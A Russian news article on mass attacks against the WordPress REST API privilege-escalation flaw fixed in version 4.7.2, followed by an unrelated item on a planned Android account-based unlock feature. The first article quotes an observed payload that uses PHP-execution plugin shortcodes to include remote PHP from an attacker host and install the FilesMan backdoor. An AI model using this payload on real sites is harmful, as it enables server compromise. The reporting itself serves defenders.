Атаки на уязвимость в WordPress REST API нужны для установки бэкдоров

Атаки на уязвимость в WordPress REST API нужны для установки бэкдоров

Атаки на уязвимость в WordPress REST API нужны для установки бэкдоров

Массовые атаки на свежую уязвимость в WordPress REST API, исправленную в конце января 2017 года, продолжаются. На прошлой неделе мы рассказывали, что по данным компании WordFence, уязвимость привлекла внимание как минимум 20 хакерских групп, которым удалось скомпрометировать более 1,5 млн страниц.

В настоящий момент количество пострадавших страниц перевалило за два миллиона, а атаки постепенно становятся серьезнее, как и прогнозировали специалисты.

Напомню, что свежая уязвимость была устранена с выходом WordPress 4.7.2, еще 26 января 2017 года. Баг обнаружили специалисты компании Sucuri, и они описывают его как неавторизованную эскалацию привилегий через REST API. Уязвимости подвержены версии 4.7.0 и 4.7.1. Однако публичное раскрытие информации о проблеме состоялось только неделю спустя, так как разработчики хотели, чтобы как можно больше сайтов спокойно установили обновления, пишет xakep.ru.

Уязвимость позволяет неавторизованному атакующему сформировать специальный запрос, при помощи которого можно будет изменять и удалять содержимое любого поста на целевом сайте. Кроме того, используя шорткоды плагинов, злоумышленник может эксплуатировать и другие уязвимости CMS, которые обычно недоступны даже пользователям с высокими привилегиями. В итоге атакующий может внедрить на страницы сайта SEO-спам, рекламу, и даже исполняемый PHP-код, все зависит от доступных плагинов.

Эксперты компании Sucuri заметили, что от простых дефейсов злоумышленники перешли к попыткам удаленного выполнения произвольного кода. Для этих целей хакеры используют плагины Insert PHP (100 000+ установок), Exec-PHP (100 000+ установок) и им подобные. Такие плагины позволяют внедрять PHP-код в посты, чтобы сделать кастомизацию проще.

Исследователи пишут, что теперь дефейс-сообщения хакеров содержат шорткоды для вышеупомянутых плагинов. То есть добавив к своим дефейсам PHP-код, злоумышленники могут добиться его выполнения. В блоге компании эксперты приводят следующий пример, замеченный ими в ходе изучения атак:

content:»[insert_php] include(‘http[:]//acommeamour.fr/tmp/xx.php’); [/insert_php]
[php] include(‘http[:]//acommeamour.fr/tmp/xx.php’); [/php]»,
«id»:»61a»}

Данный пример приводит к скачиванию бэкдора FilesMan и его установке в директорию /wp-content/uploads/.

Теперь специалисты Sucuri рекомендуют администраторам отключить все потенциально опасные плагины и обновиться до WordPress 4.7.2, если они по какой-то причине еще этого не сделали. Исследователи поясняют, что такие атаки – это способ монетизации уязвимости. Тогда как обычными дефейсами много не заработаешь, размещение бекдора на сервере жертвы позволяет злоумышленникам вернуться позже, даже после устранения оригинальной уязвимости, и разместить на скомпрометированном ресурсе SEO-спам, рекламу или малварь.

Подпишитесь на новости

Забытый ПИН больше не потребует стирать весь Android-смартфон

Google разрабатывает запасной способ разблокировки Android-смартфона через привязанный аккаунт. Новинка может избавить пользователей от нынешнего сурового выбора: вспомнить ПИН или отправить все локальные данные под нож. Сейчас при полностью забытом ПИН-коде, пароле или графическом ключе владельцу обычно остаётся сбросить устройство до заводских настроек.

После этого Google попросит подтвердить право собственности через аккаунт, но фотографии, документы и данные приложений без резервной копии уже никто не вернёт.

В Android 17 QPR2 Beta 5 исследователи обнаружили упоминание функции Unlock with Google Account. Её описание предлагает разблокировать устройство с помощью связанного аккаунта Google, если пользователь забыл ПИН или пароль.

Судя по найденному интерфейсу, запасной вход будет добровольным и по умолчанию отключённым. Пользователю придётся заранее разрешить разблокировку через аккаунт в разделе Device unlock.

Фактически компания может вернуть идею, существовавшую в старых версиях Android. До Android 4.4 включительно забытый графический ключ можно было сбросить с помощью данных аккаунта Google. Позднее такую возможность убрали, оставив пользователям фабричный сброс и защиту Factory Reset Protection.

Однако функция пока не работает даже в тестовой Android 17 QPR2 Beta 5, официального анонса от Google нет, а найденный в коде механизм может измениться или вообще не добраться до релиза.

RSS: Новости на портале Anti-Malware.ru